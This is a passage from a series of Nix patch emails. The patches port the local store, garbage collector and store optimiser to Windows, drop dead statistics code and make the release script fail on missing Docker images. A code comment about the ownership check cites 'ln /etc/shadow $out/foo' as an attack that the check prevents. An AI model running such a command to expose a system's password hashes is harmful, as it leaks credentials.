t(?Gt&VH(I<P#~lF59TlihW`s&VWxq7i_2}SY#@`Ef$%wyJ_X`10033~TCV^A

literal 0
HcmV?d00001

diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index 65ab20f9a4f..17664cd7e3c 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -16,6 +16,7 @@ nix_tests = \
   flakes/absolute-attr-paths.sh \
   flakes/build-paths.sh \
   flakes/flake-in-submodule.sh \
+  flakes/prefetch.sh \
   gc.sh \
   nix-collect-garbage-d.sh \
   remote-store.sh \

From 6df07f3e8126ad4a01461ed174a2cef6c9c0dbac Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 10 May 2024 11:31:36 +0200
Subject: [PATCH 108/528] Die rather than warn if a Docker image is missing

The warning was done to handle older Nix releases that didn't have
Docker images (091f2328962fccfd71602b0b7c072c8d08291c86), but this was
a bad idea because it causes us to silently skip uploading Docker
images if e.g. Hydra hasn't finished building them yet.

Issue #10648.
---
 maintainers/upload-release.pl | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl
index 9a30f8227ee..9e73524a632 100755
--- a/maintainers/upload-release.pl
+++ b/maintainers/upload-release.pl
@@ -189,10 +189,7 @@ sub downloadFile {
     eval {
         downloadFile("dockerImage.$system", "1", $fn);
     };
-    if ($@) {
-        warn "$@" if $@;
-        next;
-    }
+    die "$@" if $@;
     $haveDocker = 1;
 
     print STDERR "loading docker image for $dockerPlatform...\n";

From 0998a3ac01fdbd30cbb803eae9d8c6a73b8edb11 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 10 May 2024 09:39:04 -0400
Subject: [PATCH 109/528] Remove `LocalStore::OptimiseStats::blocksFreed` as it
 is dead code

---
 src/libstore/unix/local-store.hh    | 1 -
 src/libstore/unix/optimise-store.cc | 1 -
 2 files changed, 2 deletions(-)

diff --git a/src/libstore/unix/local-store.hh b/src/libstore/unix/local-store.hh
index 2b6e2e25f75..b3d7bd6d0c3 100644
--- a/src/libstore/unix/local-store.hh
+++ b/src/libstore/unix/local-store.hh
@@ -32,7 +32,6 @@ struct OptimiseStats
 {
     unsigned long filesLinked = 0;
     uint64_t bytesFreed = 0;
-    uint64_t blocksFreed = 0;
 };
 
 struct LocalStoreConfig : virtual LocalFSStoreConfig
diff --git a/src/libstore/unix/optimise-store.cc b/src/libstore/unix/optimise-store.cc
index bedb77849b1..17b8e4d9236 100644
--- a/src/libstore/unix/optimise-store.cc
+++ b/src/libstore/unix/optimise-store.cc
@@ -256,7 +256,6 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
 
     stats.filesLinked++;
     stats.bytesFreed += st.st_size;
-    stats.blocksFreed += st.st_blocks;
 
     if (act)
         act->result(resFileLinked, st.st_size, st.st_blocks);

From e0ff8da9d585d7a3ea6be6ec4b0506dc5d7cc03c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 18 Apr 2024 17:49:17 -0400
Subject: [PATCH 110/528] Build the local store on Windows

Fixes #10558

Co-Authored-By: Eugene Butler <eugene@eugene4.com>
Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
---
 maintainers/flake-module.nix                  | 12 +--
 src/libfetchers/cache.cc                      |  2 +-
 .../{unix => }/ca-specific-schema.sql         |  0
 src/libstore/{unix => }/gc.cc                 | 88 ++++++++++++-------
 src/libstore/globals.hh                       |  2 +
 src/libstore/{unix => }/local-store.cc        | 74 ++++++++++------
 src/libstore/{unix => }/local-store.hh        |  0
 src/libstore/{unix => }/local-store.md        |  0
 src/libstore/local.mk                         |  4 +-
 src/libstore/{unix => }/optimise-store.cc     | 79 +++++++++--------
 .../{unix => }/posix-fs-canonicalise.cc       | 40 +++++++--
 .../{unix => }/posix-fs-canonicalise.hh       | 12 ++-
 src/libstore/{unix => }/schema.sql            |  0
 src/libstore/store-api.cc                     | 18 +---
 src/libstore/unix/build/derivation-goal.cc    | 26 ------
 src/libutil/file-system.cc                    |  2 +-
 src/libutil/file-system.hh                    |  5 ++
 src/libutil/unix-domain-socket.hh             |  1 +
 src/libutil/unix/file-system.cc               | 10 +++
 src/libutil/windows/file-system.cc            | 12 +++
 20 files changed, 230 insertions(+), 157 deletions(-)
 rename src/libstore/{unix => }/ca-specific-schema.sql (100%)
 rename src/libstore/{unix => }/gc.cc (94%)
 rename src/libstore/{unix => }/local-store.cc (97%)
 rename src/libstore/{unix => }/local-store.hh (100%)
 rename src/libstore/{unix => }/local-store.md (100%)
 rename src/libstore/{unix => }/optimise-store.cc (80%)
 rename src/libstore/{unix => }/posix-fs-canonicalise.cc (89%)
 rename src/libstore/{unix => }/posix-fs-canonicalise.hh (85%)
 rename src/libstore/{unix => }/schema.sql (100%)
 create mode 100644 src/libutil/unix/file-system.cc
 create mode 100644 src/libutil/windows/file-system.cc

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index fdac87be3fa..351a01fcbff 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -241,17 +241,17 @@
         ''^src/libstore/unix/build/worker\.hh$''
         ''^src/libstore/unix/builtins/fetchurl\.cc$''
         ''^src/libstore/unix/builtins/unpack-channel\.cc$''
-        ''^src/libstore/unix/gc\.cc$''
+        ''^src/libstore/gc\.cc$''
         ''^src/libstore/unix/local-overlay-store\.cc$''
         ''^src/libstore/unix/local-overlay-store\.hh$''
-        ''^src/libstore/unix/local-store\.cc$''
-        ''^src/libstore/unix/local-store\.hh$''
+        ''^src/libstore/local-store\.cc$''
+        ''^src/libstore/local-store\.hh$''
         ''^src/libstore/unix/lock\.cc$''
         ''^src/libstore/unix/lock\.hh$''
-        ''^src/libstore/unix/optimise-store\.cc$''
+        ''^src/libstore/optimise-store\.cc$''
         ''^src/libstore/unix/pathlocks\.cc$''
-        ''^src/libstore/unix/posix-fs-canonicalise\.cc$''
-        ''^src/libstore/unix/posix-fs-canonicalise\.hh$''
+        ''^src/libstore/posix-fs-canonicalise\.cc$''
+        ''^src/libstore/posix-fs-canonicalise\.hh$''
         ''^src/libstore/uds-remote-store\.cc$''
         ''^src/libstore/uds-remote-store\.hh$''
         ''^src/libstore/windows/build\.cc$''
diff --git a/src/libfetchers/cache.cc b/src/libfetchers/cache.cc
index 87a8e4702f2..7019b0325d7 100644
--- a/src/libfetchers/cache.cc
+++ b/src/libfetchers/cache.cc
@@ -109,7 +109,7 @@ struct CacheImpl : Cache
         Key key,
         Store & store,
         Attrs value,
-        const StorePath & storePath)
+        const StorePath & storePath) override
     {
         /* Add the store prefix to the cache key to handle multiple
            store prefixes. */
diff --git a/src/libstore/unix/ca-specific-schema.sql b/src/libstore/ca-specific-schema.sql
similarity index 100%
rename from src/libstore/unix/ca-specific-schema.sql
rename to src/libstore/ca-specific-schema.sql
diff --git a/src/libstore/unix/gc.cc b/src/libstore/gc.cc
similarity index 94%
rename from src/libstore/unix/gc.cc
rename to src/libstore/gc.cc
index 38cbf12b218..3cd4fb839db 100644
--- a/src/libstore/unix/gc.cc
+++ b/src/libstore/gc.cc
@@ -7,7 +7,7 @@
 
 #if !defined(__linux__)
 // For shelling out to lsof
-# include "processes.hh"
+#  include "processes.hh"
 #endif
 
 #include <functional>
@@ -19,18 +19,20 @@
 #include <climits>
 #include <errno.h>
 #include <fcntl.h>
-#include <poll.h>
-#include <sys/socket.h>
 #include <sys/stat.h>
-#include <sys/statvfs.h>
+#if HAVE_STATVFS
+#  include <sys/statvfs.h>
+#endif
+#ifndef _WIN32
+#  include <poll.h>
+#  include <sys/socket.h>
+#  include <sys/un.h>
+#endif
 #include <sys/types.h>
-#include <sys/un.h>
 #include <unistd.h>
 
 namespace nix {
 
-using namespace nix::unix;
-
 static std::string gcSocketPath = "/gc-socket/socket";
 static std::string gcRootsDir = "gcroots";
 
@@ -64,7 +66,7 @@ void LocalStore::createTempRootsFile()
         /* Check whether the garbage collector didn't get in our
            way. */
         struct stat st;
-        if (fstat(fdTempRoots->get(), &st) == -1)
+        if (fstat(fromDescriptorReadOnly(fdTempRoots->get()), &st) == -1)
             throw SysError("statting '%1%'", fnTempRoots);
         if (st.st_size == 0) break;
 
@@ -108,7 +110,7 @@ void LocalStore::addTempRoot(const StorePath & path)
             debug("connecting to '%s'", socketPath);
             *fdRootsSocket = createUnixDomainSocket();
             try {
-                nix::connect(fdRootsSocket->get(), socketPath);
+                nix::connect(toSocket(fdRootsSocket->get()), socketPath);
             } catch (SysError & e) {
                 /* The garbage collector may have exited or not
                    created the socket yet, so we need to restart. */
@@ -166,12 +168,16 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
             // those to keep the directory alive.
             continue;
         }
-        Path path = i.path();
+        Path path = i.path().string();
 
         pid_t pid = std::stoi(name);
 
         debug("reading temporary root file '%1%'", path);
-        AutoCloseFD fd(open(path.c_str(), O_CLOEXEC | O_RDWR, 0666));
+        AutoCloseFD fd(toDescriptor(open(path.c_str(),
+#ifndef _WIN32
+            O_CLOEXEC |
+#endif
+            O_RDWR, 0666)));
         if (!fd) {
             /* It's okay if the file has disappeared. */
             if (errno == ENOENT) continue;
@@ -240,8 +246,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
                         unlink(path.c_str());
                     }
                 } else {
-                    struct stat st2 = lstat(target);
-                    if (!S_ISLNK(st2.st_mode)) return;
+                    if (!std::filesystem::is_symlink(target)) return;
                     Path target2 = readLink(target);
                     if (isInStore(target2)) foundRoot(target, target2);
                 }
@@ -297,24 +302,25 @@ Roots LocalStore::findRoots(bool censor)
     return roots;
 }
 
-typedef std::unordered_map<Path, std::unordered_set<std::string>> UncheckedRoots;
+/**
+ * Key is a mere string because cannot has path with macOS's libc++
+ */
+typedef std::unordered_map<std::string, std::unordered_set<std::string>> UncheckedRoots;
 
-static void readProcLink(const std::string & file, UncheckedRoots & roots)
+static void readProcLink(const std::filesystem::path & file, UncheckedRoots & roots)
 {
-    constexpr auto bufsiz = PATH_MAX;
-    char buf[bufsiz];
-    auto res = readlink(file.c_str(), buf, bufsiz);
-    if (res == -1) {
-        if (errno == ENOENT || errno == EACCES || errno == ESRCH)
+    std::filesystem::path buf;
+    try {
+        buf = std::filesystem::read_symlink(file);
+    } catch (std::filesystem::filesystem_error & e) {
+        if (e.code() == std::errc::no_such_file_or_directory
+                || e.code() == std::errc::permission_denied
+                || e.code() == std::errc::no_such_process)
             return;
-        throw SysError("reading symlink");
+        throw;
     }
-    if (res == bufsiz) {
-        throw Error("overly long symlink starting with '%1%'", std::string_view(buf, bufsiz));
-    }
-    if (res > 0 && buf[0] == '/')
-        roots[std::string(static_cast<char *>(buf), res)]
-            .emplace(file);
+    if (buf.is_absolute())
+        roots[buf.string()].emplace(file.string());
 }
 
 static std::string quoteRegexChars(const std::string & raw)
@@ -371,12 +377,12 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor)
                     }
                     fdDir.reset();
 
-                    auto mapFile = fmt("/proc/%s/maps", ent->d_name);
-                    auto mapLines = tokenizeString<std::vector<std::string>>(readFile(mapFile), "\n");
+                    std::filesystem::path mapFile = fmt("/proc/%s/maps", ent->d_name);
+                    auto mapLines = tokenizeString<std::vector<std::string>>(readFile(mapFile.string()), "\n");
                     for (const auto & line : mapLines) {
                         auto match = std::smatch{};
                         if (std::regex_match(line, match, mapRegex))
-                            unchecked[match[1]].emplace(mapFile);
+                            unchecked[match[1]].emplace(mapFile.string());
                     }
 
                     auto envFile = fmt("/proc/%s/environ", ent->d_name);
@@ -407,7 +413,7 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor)
             for (const auto & line : lsofLines) {
                 std::smatch match;
                 if (std::regex_match(line, match, lsofRegex))
-                    unchecked[match[1]].emplace("{lsof}");
+                    unchecked[match[1].str()].emplace("{lsof}");
             }
         } catch (ExecError & e) {
             /* lsof not installed, lsof failed */
@@ -490,6 +496,10 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
     createDirs(dirOf(socketPath));
     auto fdServer = createUnixDomainSocket(socketPath, 0666);
 
+    // TODO nonblocking socket on windows?
+#ifdef _WIN32
+    throw UnimplementedError("External GC client not implemented yet");
+#else
     if (fcntl(fdServer.get(), F_SETFL, fcntl(fdServer.get(), F_GETFL) | O_NONBLOCK) == -1)
         throw SysError("making socket '%1%' non-blocking", socketPath);
 
@@ -590,6 +600,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
         if (serverThread.joinable()) serverThread.join();
     });
 
+#endif
+
     /* Find the roots.  Since we've grabbed the GC lock, the set of
        permanent roots cannot increase now. */
     printInfo("finding garbage collector roots...");
@@ -623,8 +635,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
            by another process. We need to be sure that we can acquire an
            exclusive lock before deleting them. */
         if (baseName.find("tmp-", 0) == 0) {
-            AutoCloseFD tmpDirFd = open(realPath.c_str(), O_RDONLY | O_DIRECTORY);
-            if (tmpDirFd.get() == -1 || !lockFile(tmpDirFd.get(), ltWrite, false)) {
+            AutoCloseFD tmpDirFd = openDirectory(realPath);
+            if (!tmpDirFd || !lockFile(tmpDirFd.get(), ltWrite, false)) {
                 debug("skipping locked tempdir '%s'", realPath);
                 return;
             }
@@ -857,7 +869,13 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
         struct stat st;
         if (stat(linksDir.c_str(), &st) == -1)
             throw SysError("statting '%1%'", linksDir);
-        int64_t overhead = st.st_blocks * 512ULL;
+        int64_t overhead =
+#ifdef _WIN32
+            0
+#else
+            st.st_blocks * 512ULL
+#endif
+            ;
 
         printInfo("note: currently hard linking saves %.2f MiB",
             ((unsharedSize - actualSize - overhead) / (1024.0 * 1024.0)));
@@ -870,6 +888,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
 
 void LocalStore::autoGC(bool sync)
 {
+#ifdef HAVE_STATVFS
     static auto fakeFreeSpaceFile = getEnv("_NIX_TEST_FREE_SPACE_FILE");
 
     auto getAvail = [this]() -> uint64_t {
@@ -946,6 +965,7 @@ void LocalStore::autoGC(bool sync)
  sync:
     // Wait for the future outside of the state lock.
     if (sync) future.get();
+#endif
 }
 
 
diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 0c71a751553..10893342219 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -424,8 +424,10 @@ public:
     Setting<bool> useSQLiteWAL{this, !isWSL1(), "use-sqlite-wal",
         "Whether SQLite should use WAL mode."};
 
+#ifndef _WIN32
     Setting<bool> syncBeforeRegistering{this, false, "sync-before-registering",
         "Whether to call `sync()` before registering a path as valid."};
+#endif
 
     Setting<bool> useSubstitutes{
         this, true, "substitute",
diff --git a/src/libstore/unix/local-store.cc b/src/libstore/local-store.cc
similarity index 97%
rename from src/libstore/unix/local-store.cc
rename to src/libstore/local-store.cc
index f33d9271780..800e6930971 100644
--- a/src/libstore/unix/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -26,7 +26,6 @@
 #include <new>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/select.h>
 #include <sys/time.h>
 #include <unistd.h>
 #include <utime.h>
@@ -34,17 +33,20 @@
 #include <errno.h>
 #include <stdio.h>
 #include <time.h>
-#include <grp.h>
+
+#ifndef _WIN32
+# include <grp.h>
+#endif
 
 #if __linux__
-#include <sched.h>
-#include <sys/statvfs.h>
-#include <sys/mount.h>
-#include <sys/ioctl.h>
+# include <sched.h>
+# include <sys/statvfs.h>
+# include <sys/mount.h>
+# include <sys/ioctl.h>
 #endif
 
 #ifdef __CYGWIN__
-#include <windows.h>
+# include <windows.h>
 #endif
 
 #include <sqlite3.h>
@@ -52,8 +54,6 @@
 
 namespace nix {
 
-using namespace nix::unix;
-
 std::string LocalStoreConfig::doc()
 {
     return
@@ -224,6 +224,7 @@ LocalStore::LocalStore(const Params & params)
         }
     }
 
+#ifndef _WIN32
     /* Optionally, create directories and set permissions for a
        multi-user install. */
     if (isRootUser() && settings.buildUsersGroup != "") {
@@ -245,6 +246,7 @@ LocalStore::LocalStore(const Params & params)
             }
         }
     }
+#endif
 
     /* Ensure that the store and its parents are not symlinks. */
     if (!settings.allowSymlinkedStore) {
@@ -270,14 +272,25 @@ LocalStore::LocalStore(const Params & params)
         if (stat(reservedPath.c_str(), &st) == -1 ||
             st.st_size != settings.reservedSize)
         {
-            AutoCloseFD fd = open(reservedPath.c_str(), O_WRONLY | O_CREAT | O_CLOEXEC, 0600);
+            AutoCloseFD fd = toDescriptor(open(reservedPath.c_str(), O_WRONLY | O_CREAT
+#ifndef _WIN32
+                | O_CLOEXEC
+#endif
+                , 0600));
             int res = -1;
 #if HAVE_POSIX_FALLOCATE
             res = posix_fallocate(fd.get(), 0, settings.reservedSize);
 #endif
             if (res == -1) {
                 writeFull(fd.get(), std::string(settings.reservedSize, 'X'));
-                [[gnu::unused]] auto res2 = ftruncate(fd.get(), settings.reservedSize);
+                [[gnu::unused]] auto res2 =
+
+#ifdef _WIN32
+                    SetEndOfFile(fd.get())
+#else
+                    ftruncate(fd.get(), settings.reservedSize)
+#endif
+                    ;
             }
         }
     } catch (SystemError & e) { /* don't care about errors */
@@ -460,10 +473,14 @@ LocalStore::LocalStore(std::string scheme, std::string path, const Params & para
 AutoCloseFD LocalStore::openGCLock()
 {
     Path fnGCLock = stateDir + "/gc.lock";
-    auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT | O_CLOEXEC, 0600);
+    auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT
+#ifndef _WIN32
+        | O_CLOEXEC
+#endif
+        , 0600);
     if (!fdGCLock)
         throw SysError("opening global GC lock '%1%'", fnGCLock);
-    return fdGCLock;
+    return toDescriptor(fdGCLock);
 }
 
 
@@ -491,7 +508,7 @@ LocalStore::~LocalStore()
     try {
         auto fdTempRoots(_fdTempRoots.lock());
         if (*fdTempRoots) {
-            *fdTempRoots = -1;
+            fdTempRoots->close();
             unlink(fnTempRoots.c_str());
         }
     } catch (...) {
@@ -969,11 +986,13 @@ void LocalStore::registerValidPath(const ValidPathInfo & info)
 
 void LocalStore::registerValidPaths(const ValidPathInfos & infos)
 {
+#ifndef _WIN32
     /* SQLite will fsync by default, but the new valid paths may not
        be fsync-ed.  So some may want to fsync them before registering
        the validity, at the expense of some speed of the path
        registering operation. */
     if (settings.syncBeforeRegistering) sync();
+#endif
 
     return retrySQLite<void>([&]() {
         auto state(_state.lock());
@@ -1155,7 +1174,7 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source,
 
             autoGC();
 
-            canonicalisePathMetaData(realPath, {});
+            canonicalisePathMetaData(realPath);
 
             optimisePath(realPath, repair); // FIXME: combine with hashPath()
 
@@ -1307,7 +1326,7 @@ StorePath LocalStore::addToStoreFromDump(
                 narHash = narSink.finish();
             }
 
-            canonicalisePathMetaData(realPath, {}); // FIXME: merge into restorePath
+            canonicalisePathMetaData(realPath); // FIXME: merge into restorePath
 
             optimisePath(realPath, repair);
 
@@ -1340,8 +1359,8 @@ std::pair<std::filesystem::path, AutoCloseFD> LocalStore::createTempDirInStore()
            the GC between createTempDir() and when we acquire a lock on it.
            We'll repeat until 'tmpDir' exists and we've locked it. */
         tmpDirFn = createTempDir(realStoreDir, "tmp");
-        tmpDirFd = open(tmpDirFn.c_str(), O_RDONLY | O_DIRECTORY);
-        if (tmpDirFd.get() < 0) {
+        tmpDirFd = openDirectory(tmpDirFn);
+        if (!tmpDirFd) {
             continue;
         }
         lockedByUs = lockFile(tmpDirFd.get(), ltWrite, true);
@@ -1390,19 +1409,16 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
         for (auto & link : readDirectory(linksDir)) {
             auto name = link.path().filename();
             printMsg(lvlTalkative, "checking contents of '%s'", name);
-            Path linkPath = linksDir / name;
             PosixSourceAccessor accessor;
             std::string hash = hashPath(
-                {getFSSourceAccessor(), CanonPath(linkPath)},
+                PosixSourceAccessor::createAtRoot(link.path()),
                 FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false);
             if (hash != name.string()) {
                 printError("link '%s' was modified! expected hash '%s', got '%s'",
-                    linkPath, name, hash);
+                    link.path(), name, hash);
                 if (repair) {
-                    if (unlink(linkPath.c_str()) == 0)
-                        printInfo("removed link '%s'", linkPath);
-                    else
-                        throw SysError("removing corrupt link '%s'", linkPath);
+                    std::filesystem::remove(link.path());
+                    printInfo("removed link '%s'", link.path());
                 } else {
                     errors = true;
                 }
@@ -1583,8 +1599,12 @@ static void makeMutable(const Path & path)
     /* The O_NOFOLLOW is important to prevent us from changing the
        mutable bit on the target of a symlink (which would be a
        security hole). */
-    AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_NOFOLLOW | O_CLOEXEC);
-    if (fd == -1) {
+    AutoCloseFD fd = open(path.c_str(), O_RDONLY | O_NOFOLLOW
+#ifndef _WIN32
+        | O_CLOEXEC
+#endif
+        );
+    if (fd == INVALID_DESCRIPTOR) {
         if (errno == ELOOP) return; // it's a symlink
         throw SysError("opening file '%1%'", path);
     }
diff --git a/src/libstore/unix/local-store.hh b/src/libstore/local-store.hh
similarity index 100%
rename from src/libstore/unix/local-store.hh
rename to src/libstore/local-store.hh
diff --git a/src/libstore/unix/local-store.md b/src/libstore/local-store.md
similarity index 100%
rename from src/libstore/unix/local-store.md
rename to src/libstore/local-store.md
diff --git a/src/libstore/local.mk b/src/libstore/local.mk
index 590a230e577..cc67da78659 100644
--- a/src/libstore/local.mk
+++ b/src/libstore/local.mk
@@ -89,11 +89,11 @@ else
   endif
 endif
 
-$(d)/unix/local-store.cc: $(d)/unix/schema.sql.gen.hh $(d)/unix/ca-specific-schema.sql.gen.hh
+$(d)/local-store.cc: $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh
 
 $(d)/unix/build.cc:
 
-clean-files += $(d)/unix/schema.sql.gen.hh $(d)/unix/ca-specific-schema.sql.gen.hh
+clean-files += $(d)/schema.sql.gen.hh $(d)/ca-specific-schema.sql.gen.hh
 
 $(eval $(call install-file-in, $(buildprefix)$(d)/nix-store.pc, $(libdir)/pkgconfig, 0644))
 
diff --git a/src/libstore/unix/optimise-store.cc b/src/libstore/optimise-store.cc
similarity index 80%
rename from src/libstore/unix/optimise-store.cc
rename to src/libstore/optimise-store.cc
index 17b8e4d9236..2477cf0c020 100644
--- a/src/libstore/unix/optimise-store.cc
+++ b/src/libstore/optimise-store.cc
@@ -155,55 +155,53 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
     debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true));
 
     /* Check if this is a known hash. */
-    Path linkPath = linksDir + "/" + hash.to_string(HashFormat::Nix32, false);
+    std::filesystem::path linkPath = std::filesystem::path{linksDir} / hash.to_string(HashFormat::Nix32, false);
 
     /* Maybe delete the link, if it has been corrupted. */
-    if (pathExists(linkPath)) {
-        auto stLink = lstat(linkPath);
+    if (std::filesystem::exists(std::filesystem::symlink_status(linkPath))) {
+        auto stLink = lstat(linkPath.string());
         if (st.st_size != stLink.st_size
             || (repair && hash != ({
                 hashPath(
-                    {make_ref<PosixSourceAccessor>(), CanonPath(linkPath)},
+                    PosixSourceAccessor::createAtRoot(linkPath),
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first;
            })))
         {
             // XXX: Consider overwriting linkPath with our valid version.
-            warn("removing corrupted link '%s'", linkPath);
+            warn("removing corrupted link %s", linkPath);
             warn("There may be more corrupted paths."
                  "\nYou should run `nix-store --verify --check-contents --repair` to fix them all");
-            unlink(linkPath.c_str());
+            std::filesystem::remove(linkPath);
         }
     }
 
-    if (!pathExists(linkPath)) {
+    if (!std::filesystem::exists(std::filesystem::symlink_status(linkPath))) {
         /* Nope, create a hard link in the links directory. */
-        if (link(path.c_str(), linkPath.c_str()) == 0) {
+        try {
+            std::filesystem::create_hard_link(path, linkPath);
             inodeHash.insert(st.st_ino);
-            return;
-        }
-
-        switch (errno) {
-        case EEXIST:
-            /* Fall through if another process created ‘linkPath’ before
-               we did. */
-            break;
-
-        case ENOSPC:
-            /* On ext4, that probably means the directory index is
-               full.  When that happens, it's fine to ignore it: we
-               just effectively disable deduplication of this
-               file.  */
-            printInfo("cannot link '%s' to '%s': %s", linkPath, path, strerror(errno));
-            return;
-
-        default:
-            throw SysError("cannot link '%1%' to '%2%'", linkPath, path);
+        } catch (std::filesystem::filesystem_error & e) {
+            if (e.code() == std::errc::file_exists) {
+                /* Fall through if another process created ‘linkPath’ before
+                   we did. */
+            }
+
+            else if (e.code() == std::errc::no_space_on_device) {
+                /* On ext4, that probably means the directory index is
+                   full.  When that happens, it's fine to ignore it: we
+                   just effectively disable deduplication of this
+                   file.  */
+                printInfo("cannot link '%s' to '%s': %s", linkPath, path, strerror(errno));
+                return;
+            }
+
+            else throw;
         }
     }
 
     /* Yes!  We've seen a file with the same contents.  Replace the
        current file with a hard link to that file. */
-    auto stLink = lstat(linkPath);
+    auto stLink = lstat(linkPath.string());
 
     if (st.st_ino == stLink.st_ino) {
         debug("'%1%' is already linked to '%2%'", path, linkPath);
@@ -223,10 +221,13 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
        its timestamp back to 0. */
     MakeReadOnly makeReadOnly(mustToggle ? dirOfPath : "");
 
-    Path tempLink = fmt("%1%/.tmp-link-%2%-%3%", realStoreDir, getpid(), random());
+    std::filesystem::path tempLink = fmt("%1%/.tmp-link-%2%-%3%", realStoreDir, getpid(), rand());
 
-    if (link(linkPath.c_str(), tempLink.c_str()) == -1) {
-        if (errno == EMLINK) {
+    try {
+        std::filesystem::create_hard_link(linkPath, tempLink);
+        inodeHash.insert(st.st_ino);
+    } catch (std::filesystem::filesystem_error & e) {
+        if (e.code() == std::errc::too_many_links) {
             /* Too many links to the same file (>= 32000 on most file
                systems).  This is likely to happen with empty files.
                Just shrug and ignore. */
@@ -234,16 +235,16 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
                 printInfo("'%1%' has maximum number of links", linkPath);
             return;
         }
-        throw SysError("cannot link '%1%' to '%2%'", tempLink, linkPath);
+        throw;
     }
 
     /* Atomically replace the old file with the new hard link. */
     try {
-        renameFile(tempLink, path);
-    } catch (SystemError & e) {
-        if (unlink(tempLink.c_str()) == -1)
+        std::filesystem::rename(tempLink, path);
+    } catch (std::filesystem::filesystem_error & e) {
+        std::filesystem::remove(tempLink);
             printError("unable to unlink '%1%'", tempLink);
-        if (errno == EMLINK) {
+        if (e.code() == std::errc::too_many_links) {
             /* Some filesystems generate too many links on the rename,
                rather than on the original link.  (Probably it
                temporarily increases the st_nlink field before
@@ -258,7 +259,11 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
     stats.bytesFreed += st.st_size;
 
     if (act)
-        act->result(resFileLinked, st.st_size, st.st_blocks);
+        act->result(resFileLinked, st.st_size
+#ifndef _WIN32
+            , st.st_blocks
+#endif
+            );
 }
 
 
diff --git a/src/libstore/unix/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc
similarity index 89%
rename from src/libstore/unix/posix-fs-canonicalise.cc
rename to src/libstore/posix-fs-canonicalise.cc
index 916db49ac22..d70ef6faefe 100644
--- a/src/libstore/unix/posix-fs-canonicalise.cc
+++ b/src/libstore/posix-fs-canonicalise.cc
@@ -31,6 +31,7 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct
 
     }
 
+#ifndef _WIN32 // TODO implement
     if (st.st_mtime != mtimeStore) {
         struct timeval times[2];
         times[0].tv_sec = st.st_atime;
@@ -46,6 +47,7 @@ static void canonicaliseTimestampAndPermissions(const Path & path, const struct
 #endif
             throw SysError("changing modification time of '%1%'", path);
     }
+#endif
 }
 
 
@@ -57,7 +59,9 @@ void canonicaliseTimestampAndPermissions(const Path & path)
 
 static void canonicalisePathMetaData_(
     const Path & path,
+#ifndef _WIN32
     std::optional<std::pair<uid_t, uid_t>> uidRange,
+#endif
     InodesSeen & inodesSeen)
 {
     checkInterrupt();
@@ -99,6 +103,7 @@ static void canonicalisePathMetaData_(
      }
 #endif
 
+#ifndef _WIN32
     /* Fail if the file is not owned by the build user.  This prevents
        us from messing up the ownership/permissions of files
        hard-linked into the output (e.g. "ln /etc/shadow $out/foo").
@@ -112,11 +117,13 @@ static void canonicalisePathMetaData_(
         assert(S_ISLNK(st.st_mode) || (st.st_uid == geteuid() && (mode == 0444 || mode == 0555) && st.st_mtime == mtimeStore));
         return;
     }
+#endif
 
     inodesSeen.insert(Inode(st.st_dev, st.st_ino));
 
     canonicaliseTimestampAndPermissions(path, st);
 
+#ifndef _WIN32
     /* Change ownership to the current uid.  If it's a symlink, use
        lchown if available, otherwise don't bother.  Wrong ownership
        of a symlink doesn't matter, since the owning user can't change
@@ -134,22 +141,36 @@ static void canonicalisePathMetaData_(
             throw SysError("changing owner of '%1%' to %2%",
                 path, geteuid());
     }
+#endif
 
     if (S_ISDIR(st.st_mode)) {
         std::vector<std::filesystem::directory_entry> entries = readDirectory(path);
         for (auto & i : entries)
-            canonicalisePathMetaData_(i.path().string(), uidRange, inodesSeen);
+            canonicalisePathMetaData_(
+                i.path().string(),
+#ifndef _WIN32
+                uidRange,
+#endif
+                inodesSeen);
     }
 }
 
 
 void canonicalisePathMetaData(
     const Path & path,
+#ifndef _WIN32
     std::optional<std::pair<uid_t, uid_t>> uidRange,
+#endif
     InodesSeen & inodesSeen)
 {
-    canonicalisePathMetaData_(path, uidRange, inodesSeen);
+    canonicalisePathMetaData_(
+        path,
+#ifndef _WIN32
